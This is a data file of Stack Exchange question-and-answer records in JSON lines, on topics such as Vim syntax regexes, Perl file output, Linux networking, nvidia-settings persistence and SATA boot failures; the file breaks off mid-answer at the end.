{  "id": "_vi.6167"  , "question": "I would like the first line of some documents I have to be highlighted as a comment.I would like something like:syntax match myTypeComment /{apply only to first line}^.*$/But I don't know how this regex should work for only one line (e.g. the first line) in syntax matching. Thank you very much!"  , "title": "Define syntax in only one line"  , "tags": "syntax highlighting;regular expression"  , "accepted_answer": "You can use the \\%1l; this will match a specific line.For example, to highlight the first line if it starts with # Hello::syntax match myTypeComment /\\%1l# Hello.*/:hi myTypeComment ctermfg=redThis also works for other lines (e.g. \\%42l for the 42nd line) and you can use \\%42<l and \\%42>l for lines before or after the 42nd line.Also see :help /\\%l."  } 
{  "id": "_softwareengineering.338945"  , "question": "I want a feasible way to compare my project with my friend's project. I  first thought it was enough to compare based on the number of code lines. But for some reason, people kept saying LOC is not a good measure. So, is the following method (I cooked up myself and I don't know if there is anything like this) good enough to compare my project with my friend's project?   We can calculate the effort_factor using the following algorithm:effort_factor = 0mini_method   = 0.01proper_method = 1min_avg_LOC_of_each_method = 6for each_class in source_code:    avg_LOC_of_each_method = LOC(each_class)/no_of_methods(each_class)    for each_method in each_class:        if avg_LOC_of_each_method < min_avg_LOC_of_each_method:            avg_LOC_of_each_method = min_avg_LOC_of_each_method        if LOC(each_method) < avg_LOC_of_each_method:            effort_factor += mini_method        else:            effort_factor += proper_methodreturn effort_factorDefinitions for the symbols used here:effort_factor:  The measured amount of effort delivered by the developer (If the developer was maintaining an existing code, the absolute difference between the initially measured effort_factor and the final effort_factor must be the developer's contributed effort factor assuming he didn't reduce the functionality of the source-code by removing any existing features). mini_method :  The score-value (or weight) given to methods that contain less-than-average number of lines of code. proper_method :  The score-value (or weight) given to methods that contain more-than-average number of lines of code (these methods are assumed to be vital for the task carried over by the class).  min_avg_LOC_of_each_method :  In cases where there are classes with no methods that exceed 6 lines of code, we must ensure that all the methods of the class are considered to be mini-methods (small methods). This constant that ensures that avg_LOC_of_each_method value never gets below 6. avg_LOC_of_each_method :  holds the number of lines of code per method in a class. LOC() :  computes the number of lines of code (for either a class or a method). The basic idea of this method is to count the number of methods instead of the code-lines. Also we can assume, methods that have too less number of lines don't add much value to the code, as they can't solve any vital problems. At the same time methods with many lines of code can be assumed to solve a vital problem and hence can be given a greater weight-value.Is this method feasible to measure and compare source codes? Or are there any flaws in it? "  , "title": "Is the following method to compare source codes or work effort reliable?"  , "tags": "source code;metrics"  , "accepted_answer": "The basic idea of this method is to count the number of methods instead of the code-lines. Well here's your problem.  The reason LOC counting doesn't work is because a programmer can spend days getting a one line regular expression just right  or they can whip out a one line print statement in 2 seconds.  If you pay them by loc they'll write a 5 page monster that does what the regex does.Counting the number of methods has the same problem.  How many ways do you really want to encourage me to implement toString()?  Code simply isn't something you can look at and decide how much effort has been put into it.  You may be looking at something that's been revised 5 times that replaced 7 classes and took a week just to decouple from the framework we no longer use to say nothing of the whiteboard work and meetings that went into making these decisions.So effort isn't something stored in the code.  I doubt it's even in source control.The only good metric I know for code isn't even about effort.  It's about quality.  Which is more important anyway.  It's this:The more interesting question:I want a feasible way to compare my project with my friend's project.When you compare your car with your buddies car you don't do it by looking under the hood.  You do it on the track.Ask your moms to use your programs to accomplish something and count the questions they ask before they finish.Mom makes a great product tester."  } 
{  "id": "_unix.352929"  , "question": "Here is my code.... I am having issues with putting detected invalid hostnames into a file and then nslookup valid hostnames. When I run this script, I'm trying to get it to ignore the invalid hostnames and do a nslookup on valid. I have tried using host as well as dig instead of nslookup, but still no seeing results#!/bin/sh#Query Theater DB for cnames#Pulling cnames#Lets use sed to clean up and remove EMPTY strings, , @, and * mssql -f csv -c ~/applications/mssql/mssql.json -q SELECT * FROM Cname  | cut -f 3 -d , | sed '/^\\s*$/d' | sed 's/[]//g' | sed 's/[@]//g' | sed 's/[*]//g' | sort | uniq  > /tmp/final.csv#Added this to get rid of the hidden M from /tmp/final.csvdos2unix /tmp/final.csv#Validating cnameswhile read -r hostdo  echo $host | egrep ^(([a-zA-Z0-9]|[a-zA-Z0-9][a-zA-Z0-9\\-]*[a-zA-Z0-9])\\.)+([A-Za-z0-9]|[A-Za-z0-9][A-Za-z0-9\\-]*[A-Za-z0-9])$ >/dev/null 2>&1  if [ $? -eq 0 ]    then      echo $host >> /tmp/cnames.csv    else      echo $host is not a valid hostname >> /tmp/badcnames.csv    fi  done < /tmp/final.csv#Lets validate good hostnamesfor i in `cat /tmp/final.csv`; do nslookup $i | grep Name | awk '{print $2}'; nslookup $i | grep Add | grep -v '#' | awk '{print $2}'; done > /tmp/output.csv"  , "title": "Help validating hostnames from .csv file"  , "tags": "shell script;hostname;nslookup"  } 
{  "id": "_softwareengineering.180771"  , "question": "One of things that annoys me about SQL is that it can't think in terms of objects and it's lack of encapsulation makes me constantly have to escape commands to prevent injections.I want a database language that can be polymorphic and secure. I have searched online for non-procedural database programming languages and so far my google search has been unsuccessful.I know in languages like php there are ways to prevent the injections by making the PHP encapsulated well, but not all database programming situations involve embedding the database language in another language.In situations where it's database programming only, is there a database programming language that is object oriented in itself? If not, are they working on one?  "  , "title": "Is there a database programming language with encapsulation to prevent the injections?"  , "tags": "database;encapsulation;sql injection"  } 
{  "id": "_unix.206809"  , "question": "There plenty of tools working with keyrings: ssh-agent, gpg-agent, gnome-keyring, kwallet, wrappers like keychain, keyctl talking to GNU/Linux kernel. There are various recommendation on how/when to start it tailored for different environments.This make it rather confusing. I'm using modern GNU/Linux distro with systemd and I start my user session with systemd --user as well. I expect this setup to last decades so I wonder what's the best way to get keyring into picture?The main use-case is to store passwords from chromium/firefox in one consolidated place.Shall I start keychain from my user shell autostart script (I use fish for interactive and dash as login shells if that matters)? Right now gnome-keyring-daemon --daemonize --login is spawned via PAM. Shall I start gnome-keyring --start from user systemd unit? Is there some dbus service which would start some keyring daemon upon first request?The list of questions go on but you get the idea - what is the right way to get keyring-as-a-service?"  , "title": "keyring best practices with systemd"  , "tags": "systemd;gnome keyring;kwallet"  } 
{  "id": "_softwareengineering.163766"  , "question": "We would like to implement the Agile/ Scrum process in our daily software management, so as to provide better progress visibility and feature managements, here are some of the activities that we want to do:Daily stand-up Release cycles of 6 weeks with 3 2-week iterations.Having a product back-log of tasks (integrate with bugzilla) and bugs estimated out.Printing a daily burn down to make velocity visible. When used as motivator, it's great.Easy feature development tracking and full blown visibility, especially for the sales and stake holders ( this means that it must be a web based tool).My team is distributed, so physical whiteboards aren't feasible. Is there such a web based tool that meets our needs? I heard icescrum may be one, but I've never used it so I don't know. There are a few more suggestions as here, but I've never heard of them, anyone cares to elaborate or suggest new tools? "  , "title": "Software Management Tools for Agile Process Development"  , "tags": "project management;agile;scrum"  } 
{  "id": "_webapps.4196"  , "question": "I have a small ecommerce store, and we would like to offer a deal of the day, however our platform (http://smallbusiness.yahoo.com/) doesn't seem to offer anything like that. Is there a service that will plugin to our yahoo store, or any other ecommerce platform for that matter. Requirements:a. Allow us to post a Deal of the dayb. Provide inventory tracking, or limited number of salesc. They need to have some sort of url rewrite/customization so it can look/feel like our own store. "  , "title": "Is there an web application that will power a Woot like site for eCommerce business?"  , "tags": "webapp rec;ecommerce"  } 
{  "id": "_datascience.22611"  , "question": "I am a relative beginner to machine learning and I am trying to train a neural network to play Yahtzee. Those who play Yahtzee will know that after you are done your turn, you must choose a section to place your score in. These are planned to be the outputs of my neural network, but at certain states of the game, some of the outputs will be invalid choices, as they would be illegal Yahtzee moves. What should I do to ensure that the invalid output is never chosen?"  , "title": "How to deal with invalid outputs from a neural network"  , "tags": "neural network"  } 
{  "id": "_unix.205478"  , "question": "Today I need to check which lines of my files containing trailing whitespace. And I figured out a solution:grep -Enr --color \\s+$ ./This works well except for those lines containing non-Unix newline characters.These newline characters will be considering valid match for \\s.How to exclude them in OSX grep?"  , "title": "How to grep whitespace exclude new-line character?"  , "tags": "grep"  , "accepted_answer": "Assuming that you mean you don't want to match \\r, you could just specify that you're after a tab or a space and nothing else:grep -P '[\\t ]$' file Since you're on OSX, your grep won't have -P, so you could instead try:grep -E $'\\t'| $ file Alternatively, you can use the POSIX character class:grep  '[[:blank:]]$' fileAs explained in man wctype, the [[:blank:]] character class realizes the isblank(3) classification function and, as explained in man isblank, that is:   isblank()      checks for a blank character; that is, a space or a tab.Finally, you could also use another tool instead:    sed -n '/[\\t ]$/p' file     perl -ne 'print if /[\\t ]$/' file "  } 
{  "id": "_webapps.43788"  , "question": "I want to measure my power consumption. So once in a month I note my meter reading.So I got the following data:2012-12-01| 893.8|  |    |312013-01-05| 977.2|34|2.45|312013-02-01|1052.2|26|2.88|282013-03-06|1165.3|35|3.23|312013-04-07|1263.6|31|3.17|302013-05-03|1335.9|26|2.78|31Where...Date of readingkWhdays in between readingsdelta since last readingnumber of days of reading month.So I would like to compute the average over a month. Any Ideas how to do that?"  , "title": "Compute average over month when measurement is irregular"  , "tags": "google spreadsheets"  } 
{  "id": "_cs.59847"  , "question": "PreliminaryAfter doing some searches of similar questions posted here and elsewhere, i feel like this is the right place to inquire about, now let's get through some boring main notations...A MiniMax tree is an arborescence structure generated by an AI role-playing game to simulate the opponent turns giving notes/scores to each of, and so each turn taken by the player itself, in order that a maximal value is chosen as the actual perfect step against the minimum value which represents the best step taken by the opponent.in the image above A is the player, B is the opponent, C4 is the best tack chosen using MiniMax.First thing which would cross your mind, when chosing B1=3, B2=5, is it necessay to visit all child-nodes of B3?, of course the computer wouldnt act stupid if you code it to not be stupid, then it will stop at C8 then breaks the process, why? well that is called Alpha-Beta pruning, it cuts the C9 subtree and all its successors within the subtree B3 because it wont searcg any lower value than 2 when it does consider the maximum for A which must be forcibly bigger than 5. The all process is illustrated below for wiki-joint model.After thinking a while, I have deduced the presence of a system of mathematical inequalities that allows finding a structure of positive number labeled tree-leafs forming a tree that generates a maximal number of branch-pruning.Look here in this example in french, let us assign this data-configuration to terminal leafs $\\{6,7,1000,4,2000,3000\\}$ , 4 nodes (3 leafs in two subtrees) of this tree arent visited because: $\\begin{eqnarray}  \\left\\{  \\begin{aligned}    7\\;>\\;6\\  \\   (1\\  branch\\  =\\  1\\  leaf)\\\\     4\\;<\\;6\\   (1\\  node\\  =\\  2\\  leafs)\\\\ \\end{aligned}  \\right.\\end{eqnarray}$So as remarked that the inequality changes direction as long as we mount to higher levels of the tree.from that base, maximizing branch pruning can be achieved by assigning alternatively bigger than smaller values for specific ranges of leafs, regarding a symbolic binary tree as follow :                        |              ----------------------       --------------         ---------------  ----------  ----------  ----------    ------------  |        |  |        |  |        |    |          | x0       x1  x2      x3  x4       x5   x7         x8As a beginning rule, opting for the maximum from the tree summit underlies the nature of values selected from the base, which is the maximum in this case, this gives a system of inequalities helping us to exclude maximum number of leafs from being visited.$\\begin{eqnarray}  \\left\\{  \\begin{aligned}x_2\\;>\\;max(x_0,x_1)\\  \\   (1\\  branch\\  =\\  1\\  leaf)\\\\ max(x_4,x_5)\\;<\\;max(x_0,x_1)\\   (1\\  node\\  =\\  2\\  leafs)\\\\ ...\\end{aligned}  \\right.\\end{eqnarray}$Number of leafs we excluded is $1+2$ , generalized to $(1+2^1)+(1+2^2)+....$ for binary trees defined in an infinite range of positive integers ]0,$\\infty$[ (with duplication).The QuestionConsider that tree is also parsed counter-clockwise, and we want to maximize the unvisited leafs when we parse a n-ary tree both directions as an intersection of two unvisited sets , is there a way to figure out a general system of inequalities for that ? a closed form for the maximum in terms of $n$ the level of this tree ? a O(N) algorithm working along this ground to output a data-set of corresponding leafs?Right firstmost example of a trenary tree there was 3 cuts (1 of them is potential) at C5, C9 which results in 3 unvisited leafs (C5,C6,C9)Parsing same tree right-to-left results in 1 cut (C2) which means 2 unvisited leafs, the overall (intersection) is 0 (all nodes are visited)My progress:After diving quite deep into this tree, I could calculate the minimal number of survivng leafs from one of either both directions as:$U(0) = n $$U(1) = n+n-1$$U(k) = U(k-1)+(n-1)U(k-2)$Where : n is the degree of this complete and balanced graph, k is the depth.an illustration with a trenary graph, and system of inequality where the formula is bounded by:Number of visited leafs here:$U(0) = 3 $$U(1) = 3+1+1$$U(k) = U(k-1)+(2)U(k-2)$Considering both directions now, for graph degrees > 2, the minimal of surviving leafs are $2U(k)$ where they cant be intersected for trenary graphs or bigger, that means the unvisited leafs are $n^k-2U(k)$, I am still wondering what is the overall system of inequalities which generates these special configurations of integer leaf-labels."  , "title": "Maximizing pruned branches in an alpha-beta tree"  , "tags": "algorithms;optimization;artificial intelligence;trees"  } 
{  "id": "_codereview.42030"  , "question": "I wrote the following simple Perl script to read lines from stdin that are the output from a psql call that returns lines of the form key1 | key2 | long text field and create a separate output file for each line, whose name is key1_key2_NNN.txt, where NNN is just a counter to ensure unique file names.my $count = 0;while (<>) {    if (/(.*)\\|(.*)\\|(.*)/) {        $count++;        my $outname = $1_$2_$count.txt;        my $text = $3;        $outname =~ s/\\s+//g;        my $outfile = new IO::File(> $outname);        $outfile->print($text);    }}This does the trick, but there are 2 things I'm not thrilled aboutI'd like to be able to do the $count++ inline while putting the incremented number into the string, but I'm not sure how to not just get 0++ plugged in (i.e. how to make it know that the ++ is a command and not part of the literal string).I don't like that I have to save $3 to another variable, but if I don't, it gets cleared out before I need it.Anyhow, any suggestions on making this a bit more slick?"  , "title": "Parsing psql output into multiple files"  , "tags": "parsing;perl"  , "accepted_answer": "I don't know if this is the complete script, but the absence of use strict; use warnings is pretty noticeable. Always use these as a basic safety net, no matter how small or simple your program.Your usage of the regex /(.*)\\|(.*)\\|(.*)/ can be improved in some ways:Don't use a regex to extract the data. Instead: my @cols = split /[|]/, $_, 3;. This really is the correct way to go, the following points however deal with normal regex usage.Some guides recommend putting special characters into a character class [|] instead of escaping them \\|. It's my experience that this makes complicated regexes easier to read.Immediately after matching, assign the values of the captures to permanent variables. Otherwise, they could be modified by a subroutine you call  the next match can clear those values. Note also that ways exist to booby trap such an innocent-looking operation like incrementing an integer to clear the last match.So we either write code such as:if (/(.*)[|](.*)[|](.*)/) {  my @fields = ($1, $2, $3);  ...}or we don't use the capture variables at all, and use the regex in list context instead:if (my @fields = /(.*)[|](.*)[|](.*)/) { ... }Technically, this isn't absolutely equivalent (e.g. in case you aren't using any captures, or if some captures are conditional, or ), but it's far better style.If course, you'd assign to a list of names rather than an array:my ($name_a, $name_b, $text) = ...The substitution s/\\s+//g might be considered slightly silly, as it's equivalent to s/\\s//g. The former variant has the advantage of less substitution operations, so it might actually be preferable. But why are you sanitizing the $outname rather than the parts of which it's made up? Note that you can apply a substitution to multiple variables like s/\\s+//g for $x, $y;If you don't want to remove all space in those strings (remember that most filesystems can deal with spaces in filenames all right) but only at the start or beginning of the string, you might want to split with a different separator instead:split /\\s*[|]\\s*/, ...The expression $1_$2_$count.txt does not contain a bug, but this is accidental. For example, $foo_$bar is equivalent to $foo_ . $bar  underscores can be part of variable names, but variables can't start with numbers, so the problem isn't visible here (variable names can consist solely of numbers, and all such variables are reserved for capture groups).As a fix, use curly braces to delimit the variable names: ${1}_${2}_$count.txt, or use sprintf:sprintf '%s_%s_%d.txt', $1, $2, $countThe line my $outfile = new IO::File(> $outname); is a big no-no for two reasons:Don't use the indirect object notation method $object @arglist. Instead use $object->method(@arglist). The former variant may look nicer, but is often ambiguous, has rather confusing precedence, and widely considered to be a syntactic mistake.If you need help to get rid of that habit, you may enjoy the no indirect pragma.What you're doing is basically open my $outfile, > $outname. Use the three-argument form of open:open my $outfile, >, $outnameor in the object-oriented wrapper: IO::File->new($outname, '>').The next problem here is that you aren't doing any error handling! Check the return value of the constructor to assert that you could actually open the file. Well, calling a method on an undefined value will die, but checking manually allows you to output a sensible error message.The $outfile->print($text) would usually be written print { $outfile } $text. For one thing, the object-oriented interface to file handles is used very rarely. You can use the normal interface directly. Also, you are unnecessarily stringifying the $text. If it isn't already a string, that will be managed by print. Note that explicit stringification creates a copy of that value, something which you would usually (but not always) want to avoid.Then, you are using print, not say. This means (together with the fact that in a regex, . does not match newlines), that you won't end your output to the file with a newline. This is probably an oversight.Another aspect that just came to my mind is that your input file could contain slashes, allowing a filename like /you/were/pwned/_key2_1234.txt to be created (assuming the path already exists). Let's put in a bit of validation.The script now looks like:use strict;use warnings;use autodie;  # easier than explicit, manual error handlinguse feature qw/say/; # say is like print, but appends newlinemy $count = 0;while (my $line = <>) {    chomp $line;    my ($name_a, $name_b, $text) = split /[|]/, $line, 3      or next;    for ($name_a, $name_b) {        s/\\s+//g;        die qq(The first two columns in $line may not contain slashes) if m[/];    }    my $filename = sprintf '%s_%s_%d.txt', $name_a, $name_b, ++$count;    open my $fh, >, $filename;    say { $fh } $text;}How did this solve your problems?Use sprintf to format a string with a variable you want to increment at the same timeAssigning captures to variables is a best practice, and should always be done.As 200_success mentioned, it is rather suspect that you are using a command-line tool to interface with a database. Perl has the excellent DBI modules which provides a common frontend for various SQL databases. The docs have some simple examples which should get you rapidly started. Using such a module is safer (less escaping levels) and faster (no extra process, no tempfiles, prepared statements, ). Have fun exploring all the great DBI features!"  } 
{  "id": "_unix.335995"  , "question": "I've googled to see if Spotify is available for Fedora 25 and it is. What I to know is whether Fedora's version is the same as the official latest version released for Ubuntu? Is it maintained?"  , "title": "Is the latest version of Spotify linux version available on Fedora 25?"  , "tags": "fedora;software installation"  , "accepted_answer": "Currenlty, latest version in PPA provided by Spotify is 1:1.0.44.100.ga60c0ce1-29 (2016-12-15).The Spotify client I am running on my Fedora 25 (from negativo17.org) is $ rpm -q spotify-clientspotify-client-1.0-5.fc25.x86_64therefore the release does not look like the last one, but investigating the changelog:$ rpm -q --changelog spotify-client | head* Wed Dec 21 2016 Simone Caronni <negativo17@gmail.com> - 1:1.0-5- Update to 1.0.45.186.g3b5036d6.you can notice the version is even newer (1.0.45.186.g3b5036d6, 2016-12-21) than the one in Ubuntu."  } 
{  "id": "_unix.143764"  , "question": "Whenever I ping on my personal computer, nothing gets displayed other than a single statement.Upon stopping execution, I see that several packets were transmitted in the statistics. On top of all this, I'm getting a rather absurd packet loss.What can I do to make ping react in a sane manner?I am running Centos 6.5 64bit.Below is an example output when I try ping google.com:[root@Virus os]# ping google.comPING google.com (74.125.230.160) 56(84) bytes of data.^C--- google.com ping statistics ---5 packets transmitted, 0 received, 100% packet loss, time 4274msifconfig -a:[root@Virus os]# ifconfig -aeth0      Link encap:Ethernet  HWaddr B4:B5:2F:29:FE:D7            UP BROADCAST MULTICAST  MTU:1500  Metric:1          RX packets:0 errors:0 dropped:0 overruns:0 frame:0          TX packets:0 errors:0 dropped:0 overruns:0 carrier:0          collisions:0 txqueuelen:1000           RX bytes:0 (0.0 b)  TX bytes:0 (0.0 b)lo        Link encap:Local Loopback            inet addr:127.0.0.1  Mask:255.0.0.0          inet6 addr: ::1/128 Scope:Host          UP LOOPBACK RUNNING  MTU:16436  Metric:1          RX packets:108 errors:0 dropped:0 overruns:0 frame:0          TX packets:108 errors:0 dropped:0 overruns:0 carrier:0          collisions:0 txqueuelen:0           RX bytes:9081 (8.8 KiB)  TX bytes:9081 (8.8 KiB)wlan0     Link encap:Ethernet  HWaddr 84:4B:F5:14:9B:58            inet addr:172.20.40.55  Bcast:172.20.255.255  Mask:255.255.0.0          inet6 addr: fe80::864b:f5ff:fe14:9b58/64 Scope:Link          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1          RX packets:56944 errors:0 dropped:0 overruns:0 frame:0          TX packets:40200 errors:0 dropped:0 overruns:0 carrier:0          collisions:0 txqueuelen:1000           RX bytes:55308863 (52.7 MiB)  TX bytes:6291284 (5.9 MiB)iptables -L:[root@Virus www]# iptables -LChain INPUT (policy ACCEPT)target     prot opt source               destination         ACCEPT     all  --  anywhere             anywhere            state RELATED,ESTABLISHED ACCEPT     icmp --  anywhere             anywhere            ACCEPT     all  --  anywhere             anywhere            ACCEPT     tcp  --  anywhere             anywhere            state NEW tcp dpt:ssh REJECT     all  --  anywhere             anywhere            reject-with icmp-host-prohibited Chain FORWARD (policy ACCEPT)target     prot opt source               destination         REJECT     all  --  anywhere             anywhere            reject-with icmp-host-prohibited Chain OUTPUT (policy ACCEPT)target     prot opt source               destination netstat -nr:[root@Virus www]# netstat -nrKernel IP routing tableDestination     Gateway         Genmask         Flags   MSS Window  irtt Iface172.20.0.0      0.0.0.0         255.255.0.0     U         0 0          0 wlan00.0.0.0         172.20.4.254    0.0.0.0         UG        0 0          0 wlan0"  , "title": "Ping command results in packet loss"  , "tags": "networking;centos;ping"  } 
{  "id": "_unix.381255"  , "question": "I have a fresh install of Raspbian on a raspberry pi 3. It boots fine, and I am able to perform any function that I can think of with one exception: any attempt to install or remove a package results in the error Files list file for package 'qdbus' is missing final newline. Indeed the file at /var/lib/dpkg/info/qdbus.list is full of garbage. What I tried so far:Adding a newline to the file. $sudo apt-get clean  -  did nothing. Delete qdbus.list  -  a different file is indicated as corrupted, I got as far as deleting about 25 files before things like ssh stopped working and I had to re-install the OS. Reinstall the OS from a fresh, hash-checked download of the latest version$sudo dpkg --configure -a  -  did nothing.Any help would be appreciated. "  , "title": "Files list file for package 'qdbus' is missing final newline (Raspbian)"  , "tags": "apt;raspbian;dpkg"  , "accepted_answer": "I have encountered same problem. And I solved this by downgrading raspbian jessie.http://downloads.raspberrypi.org/raspbian/images/raspbian-2017-06-23/Remove your current version probably raspbian-2017-07-05/ and downgrade to raspbian-2017-06-23/. It will require a lot more time to update and upgrade packages but works fine for me."  } 
{  "id": "_webapps.97324"  , "question": "I'm wondering is there a way to filter YouTube videos from the band that I don't want to see? I know how to exclude channel, YouTube is giving option for that, but is there a way to exclude whole music from one band on YouTube?"  , "title": "Is there a way to exclude YouTube videos from specific band?"  , "tags": "youtube;youtube playlist;youtube watch later"  } 
{  "id": "_scicomp.21529"  , "question": "I have:1) The dark image with few groups of high-brightness pixels and some amount of noise around it.2) Number of clusters.Example:1) 2) 2 clustersAnd i need find centers of bright pixel groups.Centers, in that case, should be placed like this:Question: Which clustering alghoritm is suitable for this task?"  , "title": "Clustering pixel clots"  , "tags": "clustering"  , "accepted_answer": "If the number of clusters is known (like here)You may use Lloyd's clustering [1]The idea is as follows:it optimizes a set of cluster centers $p_i$:Initialize the p_i's with an initial guess, or randomlyFor each iteration:   Compute the cluster associated with each p_i,      (the cluster is the set of points nearer to p_i than to the other p_j's)   Move each p_i to the weighted centroid of its clusterFor an image, the iteration can be implented as follows, computing the mass m_i and the centroid g_i of each cluster:For each i   m_i = 0   g_i = (0,0)For each pixel (x,y) of the image   let i denote the index of the center p_i nearest to (x,y)   m_i = m_i + pixel_intensity(x,y)   g_i = g_i + pixel_intensity(x,y) * (x,y)For each i   p_i = (1/m_i)*g_iSince the number of clusters is small, you can find the nearest p_i using a simple loop. If you have a higher number of sites, you may either use a kd-tree, or compute the Voronoi diagram of the sites and iterate on the pixels of each Voronoi cell.I used this algorithm to cluster the colors of a rubics cube acquired by a lego color sensor, and it works reasonably well while being very easy to implement [3]If the number of clusters is unknownthen the problem is much more difficult.You may use mean shift clustering [2], that will apply a filter-like operation to the image, and make the modes appear. It acts like the inverse of a smoothing filter. [1] https://en.wikipedia.org/wiki/Lloyd%27s_algorithm[2] https://en.wikipedia.org/wiki/Mean_shift[3] http://alice.loria.fr/WIKI/index.php/Graphite/Lego"  } 
{  "id": "_unix.46474"  , "question": "I want to disable VSync (it's called Sync to VBlank in nvidia-settings) for my nvidia graphics card. But the configuration only takes effect if I start the nvidia-settings tool. After rebooting the system VSync is enabled again and I have to start the program again.I tried exporting the xorg.conf and putting it in /etc/X11/ but with no success.So my question is how can I make changes in the nvidia-settings tool persistent?"  , "title": "How to make changes in nvidia-settings tool persistent"  , "tags": "arch linux;configuration;graphics;nvidia"  , "accepted_answer": "Looking into the readme indeed helps sometimes :)This behaviour is intentional to give different users the chance to have their own settings.In short the nvidia-settings config file is stored in ~/.nvidia-settings-rc and can be executed by calling nvidia-settings --load-config-only at startup.For more details, here's the relevant part of the readme:4) Loading Settings AutomaticallyThe NVIDIA X driver does not preserve values set with nvidia-settings  between runs of the X server (or even between logging in and logging  out of X, with xdm, gdm, or kdm). This is intentional, because  different users may have different preferences, thus these settings  are stored on a per user basis in a configuration file stored in the  users home directory.The configuration file is named ~/.nvidia-settings-rc. You can  specify a different configuration file name with the --config  commandline option.After you have run nvidia-settings once and have generated a  configuration file, you can then run:nvidia-settings --load-config-onlyat any time in the future to upload these settings to the X server  again. For example, you might place the above command in your  ~/.xinitrc file so that your settings are applied automatically when  you log in to X.Your .xinitrc file, which controls what X applications should be  started when you log into X (or startx), might look something like  this:nvidia-settings --load-config-only & xterm & evilwmor:nvidia-settings --load-config-only & gnome-sessionIf you do not already have an ~/.xinitrc file, then chances are that  xinit is using a system-wide xinitrc file. This system wide file is  typically here:/etc/X11/xinit/xinitrcTo use it, but also have nvidia-settings upload your settings, you  could create an ~/.xinitrc with the contents:nvidia-settings --load-config-only & . /etc/X11/xinit/xinitrcSystem administrators may choose to place the nvidia-settings load  command directly in the system xinitrc script.Please see the xinit(1) manpage for further details of configuring  your ~/.xinitrc file."  } 
{  "id": "_unix.318401"  , "question": "Is there a way to actually execute results from a shell command, instead of using them as arguments to another command?For instance, I'd like to run '--version' on all executables in a folder, something like:ls /usr/bin/ | --versionI've found a way using find/exec:find /usr/ -name valgrind -exec {} --version \\;But I'd like to do it with ls.  I've search for over 45 minutes and can't find any help."  , "title": "Execute stdout results"  , "tags": "command line;exec"  , "accepted_answer": "Try doing this :printf '%s\\n' /usr/bin/* | while IFS= read -r cmd; do $cmd --version; done "  } 
{  "id": "_softwareengineering.229733"  , "question": "I've currently got a browser talking via an API to the server. API is scare quoted because the API really wouldn't support another user interface very well, because it consists of every call our UI happens to need, in the form it happens to need it, and nothing else. Which could be fine. However, we are starting to have calls along the lines of GetUserSummaryData, GetUserHisFriendsAndHisPurchases, GetUserAndHisPurchases, etc. Note that on the server a more reasonable fine-grained API is written, (and the current API calls just cause the server to wire those together) it's just that what is exposed to the UI matches exactly what it needs at that particular moment.The justification for the current approach is that going from I need those 6 things at the moment to I need to make 6 calls and put the data together has to happen somewhere, and if you do it on the server then the browser can make 1 course-grained call, vs. the alternative of either making 6 calls and taking a (significant) performance hit, or else figuring out some system of batching the 6 calls (including dealing with the issue of dependencies, possibly by having the call batching mechanism smart enough to say the 3rd parameter of call 2 should be this part of the JSON response object from call 1 and having the server understand that).Doing things on the server as we are does make it pretty much impossible to write another UI without making more customized views on the server to support it. But we have no reasonable current expectation that someone without access to the server would want to write another UI.Is continuing to make really customized views on the server as the only API the right approach, and if not what would be better?"  , "title": "Coarse-grained views on server vs fine-grained views assembled on client vs fine-grained views with batching"  , "tags": "api design"  } 
{  "id": "_unix.375192"  , "question": "I need to check out DHCP lease time on OpenSUSE Leap 42.2, I tried these, but they didn't help:~> less /etc/dhclient.conf~> sudo less /var/lib/dhcp/dhclient.leases# ls -a /var/lib/NetworkManager/~> sudo ifconfig -aHow can I do that?I run the following command as suggested by @MariusMatutiae:linux-box:/var/log # grep -nriIl dhcYaST2/mkinitrd.logYaST2/macro_inst_initial.ycpYaST2/y2logzypp/historyaudit/audit.logpk_backend_zypp-1pk_backend_zyppzypper.logboot.logThen I do the following for each output file, but I couldn't find the lease time provided by DHCP.linux-box:/var/log # grep -E dhc YaST2/y2log"  , "title": "How to check out DHCP lease time on OpenSUSE provided by DHCP server"  , "tags": "opensuse;dhcp"  } 
{  "id": "_unix.345190"  , "question": "I'm connecting to my Raspberry Pi using SSH as user mike.  I use touch to create a file in a directory whose owner pi / users.  Both mike and pi are in group users.  The newly created file has owner pi / users.  I would think it would be mike / users.$ ls -l ..total 4drwxrwxr-x 1 pi users 4096 Feb 12 15:03 parent_dir$ touch z$ ls -l z                                             -rwxrwxr-x 1 pi users 0 Feb 12 15:03 zIs this expected behavior? Why isn't the owner mike / users?"  , "title": "Touch Creates File with Different Owner"  , "tags": "permissions"  } 
{  "id": "_unix.388232"  , "question": "I'm using Linux+QT for my OS system.And here is what I'm facing the problem.My Lan IP address is 172.16.120.17 and my wifi IP address is 172.16.120.20.So I think they are in the same network segment.Then I going to ping the address by using eth0.And it works perfectly.But When I ping it with wlan0 like below command.ping -I wlan0 xxx.xxx.xxx.xxxI can't ping the address.After some testing, I find out that if I close down eth0 then wifi ping out as expect.(I'm doing with below command)ifconfig eth0 downIf wifi and lan are in the different network segment then wifi and lan both can ping out as expect.Why will this happened and how to fix it?Or this is the normal phenomenon?Thanks in Advanced!"  , "title": "How to work both wifi and Lan in the same network segment?"  , "tags": "linux;wifi;lan"  } 
{  "id": "_unix.254444"  , "question": "I'm having a really weird problem after installing a new Blu-Ray/DVD drive last night into a SATA 3 port on my desktop. My installed Linux distribution (Ubuntu 12.04/elementary Luna/kernel 3.7.5) won't boot. It seems to hang after the modeset. I can get to recovery mode with the following kernel options: nomodeset recovery. A Fedora 23 MATE Live CD/DVD seems to hang right after finishing the initial bootup loading screen. I can get booted into a Clonezilla Live CD, but I can't get into either my installed Linux or a new Fedora.In the Clonezilla kernel log, I see that ata8.0 fails to initialize, saying that an IDENTIFY PACKET FAILED or something along those lines. This makes me think that either there's something wrong with the SATA port, the SATA cable, or the Blu-Ray/DVD reader device. Windows 7 on the same machine boots just fine and I can play DVDs in the device without issue. How can I debug what's actually going wrong so that I can fix it (perhaps with a kernel boot parameter)?"  , "title": "Installed Blu-Ray/DVD drive over SATA 3 link, no longer able to boot"  , "tags": "linux;sata;blu ray"  , "accepted_answer": "Answer found here:In my case, the motherboard is ASRock Z77 Extreme4 with the same ASMedia ASM1061 chip for two SATA3 ports. I had a DVD drive in one of them and got the error. Switched the DVD drive to a SATA port handled by the Z77 chip and everything works.Unfortunately, things that we often take for granted like SATA and USB don't always work as reliably as we think that they do.In my case, my motherboard has two different sets of SATA ports, one run by one type of SATA firmware, the other run by a different type of SATA firmware. Switching the drive from one set of ports to the other fixed my problem.On a related note, manufacturers of motherboards should really just choose the best 